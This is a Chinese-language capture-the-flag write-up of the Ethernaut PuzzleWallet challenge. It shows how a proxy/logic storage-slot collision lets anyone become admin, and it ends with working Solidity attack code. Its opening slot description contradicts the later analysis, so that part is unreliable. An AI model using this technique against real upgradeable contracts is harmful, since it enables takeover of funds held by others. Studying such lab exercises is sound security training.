PuzzleWallet

Reference

PuzzleWallet

PuzzleWallet.sol

目标

成为代理合约的 admin 账户

分析

slot

  1. proxy-admin 地址和 wallet-maxBalance 存储在 slot0
  2. proxy-pendingAdmin 地址和 wallet-owner 存储在 slot1
Proxy-slot0Wallet-slot0Proxy-slot1Wallet-slot1
pendingAdminowneradminmaxBalance
  1. Proxy 合约存储状态,Wallet 合约存储逻辑
  2. Wallet 合约的数据更新不会影响 Proxy 合约,因为 Proxy 只会使自己合约存储的数据
  3. Proxy 合约的数据更新会影响 Wallet 合约的函数判断,因为 Proxy 会把 Wallet 合约逻辑拿到 Proxy EVM 环境中执行

maxBalance

  1. Proxy-admin 地址和 Wallet-maxBalance 存储在 slot0
  2. 如果可以在 Proxy 中更新 slot0->maxBalance(admin) 数据,就可以实现目标

Wallet-setMaxBalance()

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted,函数需要白名单地址才能调用

Wallet-addToWhitelist()

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }
  1. 函数需要 owner 地址调用
  2. Wallet 逻辑合约中,owner 存储在 slot0
  3. 对于 Proxy 函数调用过程中 owner 的判断,也会从 slot0 中取数据
  4. Proxy slot0 中存储的是 pendingAdmin 地址而言

Proxy-proposeNewAdmin()

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

Proxy 合约调用 proposeNewAdmin() 函数修改 slot0-pendingAdmin ,不需要额外的验证,任何地址都可以提交修改。

实现逻辑–修改admin为attack()合约地址

  1. 部署 Attack() 合约,实例化 ProxyWallet 合约,将 Proxy 合约的 admin 地址更新为 msg.sender
  2. 调用 Proxy 合约 proposeNewAdmin() 函数,Attack 合约地址作为参数传递 –> Proxy 的slot0 存储 Attack() 合约地址
  3. Proxy 合约中调用 addToWhitelist() 函数:
    1. addToWhitelist() 校验 owner 身份,owner 存储在 slot0 位置
    2. Proxy 合约按照 Wallet 逻辑,从 slot0 取出 owner 地址
    3. slot0 存储的是 Attack() 合约地址,交易发起者也是 Attack() 合约, 满足判断条件
  4. Proxy 合约中调用 setMaxBalance() 函数,将 Attack 合约地址作为参数传递
    1. setMaxBalance() 校验 白名单
    2. 第三步骤将 Attack 合约置为白名单,满足条件
    3. Proxy 合约按照 Wallet 逻辑–> 更新 slot1 数据
  5. Proxy 中读取 slot1--> Admin 地址
    constructor() {
        pw = new PuzzleWallet();
        pp = new PuzzleProxy(msg.sender, address(pw), "");
    }

    function attack() external returns (address) {
        pp.proposeNewAdmin(address(this));
        bytes memory data = abi.encodeWithSelector(
            bytes4(keccak256("addToWhitelist(address)")),
            address(this)
        );
        address(pp).call(data);
        uint256 value = tovalue(address(this));
        data = abi.encodeWithSelector(
            bytes4(keccak256("setMaxBalance(uint256)")),
            value
        );
        address(pp).call(data);
        return pp.admin();
    }